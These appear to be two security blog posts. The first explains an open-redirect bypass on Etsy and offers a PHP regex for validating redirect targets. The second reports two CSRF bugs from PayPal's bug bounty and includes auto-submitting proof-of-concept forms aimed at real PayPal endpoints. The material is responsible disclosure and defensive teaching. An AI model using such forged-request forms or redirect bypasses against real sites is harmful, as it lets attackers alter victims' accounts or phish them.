On most, if not all websites, there will be a need for a way to redirect users to other areas on the site after an action is performed.

If a user clicks on a link which redirects them to a login page, they will expect to be sent back to the page they were previously on.

One technique is to store this URL as a session variable, however, there are times when this is not practical, so the URL must be passed in the request. This method is perfect for any malicious users who wish to perform a phishing attack - the bad URL is hidden behind the legitimate one.

There are many methods to allow only specific values - encrypting the value (which in my opinion is over-kill), using an ID to map it against allowed values, or using a MAC. The simpliest is to check the URL that has been given, and ensure it matches our domain, if not, throw an error or ignore the value.

This is the approach employed on a lot of sites, Google being a good example, and Etsy being another. This post was spurred on by finding a loop-hole in the way Etsy checks the URL. They allow two types - either an absolute path (http://www.etsy.com/sell), or relative (/sell). The benefit of allowing relative is that providing that the URL starts with a slash, and that the value is escaped, we don’t care what’s in it - it will always resolve relative to http://www.etsy.com.

An Example

The variable from_page is (presumably) checked against a regex, and if the value doesn’t match, it’s reset.

However, the value isn’t checked for two leading slashes, so we can break out of the link being relative to the domain, and link to wherever we want!

Passing in a bad value

A link asking the user to continue is then displayed.

Etsy (very quickly, might I add) fixed this by removing any extra slashes at the start of the string.

If our domain is example.com, we can use the following regex to ensure we only allow redirects to our sites.

<?php
$domain = 'example.com';
$regex = '/^(((http(s)?:)?\/\/' . preg_quote($domain)
       . '($|\/))'
       . '|(\/[^\/]))/';
 
//true
var_dump(preg_match($regex, 'http://example.com'));
//false
var_dump(preg_match($regex, 'http://example.com.evilsite.com'));
//true
var_dump(preg_match($regex, '//example.com'));
//false
var_dump(preg_match($regex, '//evilsite.com'));
//true
var_dump(preg_match($regex, '/home'));

Line 2 we check for absolute URLs, or URLs with a relative protocol, that match our own domain.

Line 3 we make sure that the string either ends, or has a slash, to prevent attacks a la TimThumb.

Line 4 we check for relative URLs, that have only one leading slash.

For sites with multiple sub-domains, the regex is left as an exercise to the reader.

Rather than start off with a generic “Hello, World” post, I’ll discuss my submissions to the PayPal Bug Bounty programme.

Vulnerability #1

The first is a CSRF issue in the “Customer Service Message” form of “My Selling Preferences”. There is no token like there is on most of the other pages, which makes it trivial to change the values.

<form id="csrf_form" action="https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-seller-message-submit" method="post">
    <input type="hidden" name="seller_customized_message" value="CSRF!">
    <input type="hidden" name="chars_left" value="1995">
    <input type="hidden" name="form_charset" value="UTF-8">
    <input type="hidden" name="submit.x" value="Submit">
</form>
<script>document.getElementById('csrf_form').submit();</script>
Before
After

Vulnerability #2

Another CSRF issue, in the “Payment Receiving Preferences” form of “My Selling Preferences”

<form id="csrf_form" action="https://www.paypal.com/uk/cgi-bin/webscr" method="post">
    <input type="hidden" name="cmd" value="_profile-pref-submit">
    <input type="hidden" name="pref_closed_balance" value="manual">
    <input type="hidden" name="pref_duplicate_invoice_id" value="yes">
    <input type="hidden" name="pref_apu" value="http://">
    <input type="hidden" name="pref_block_youth_payments" value="no">
    <input type="hidden" name="cc_statement_name" value="CSRF!">
    <input type="hidden" name="cc_statement_longname" value="CSRF!">
    <input type="hidden" name="form_charset" value="UTF-8">
    <input type="hidden" name="change.x" value="Save">
</form>
<script>document.getElementById('csrf_form').submit();</script>
Before
After

Whilst these issues are not that severe, they are mitigated easily and there isn’t really an excuse to not have them patched.

From submission to fixed, the whole process took approx. 4 months. A fairly long time, but forgivable since the programme was brand new when I participated. The reward was given in two stages, $250 when the bugs were confirmed, and an additional $500 when they were fixed.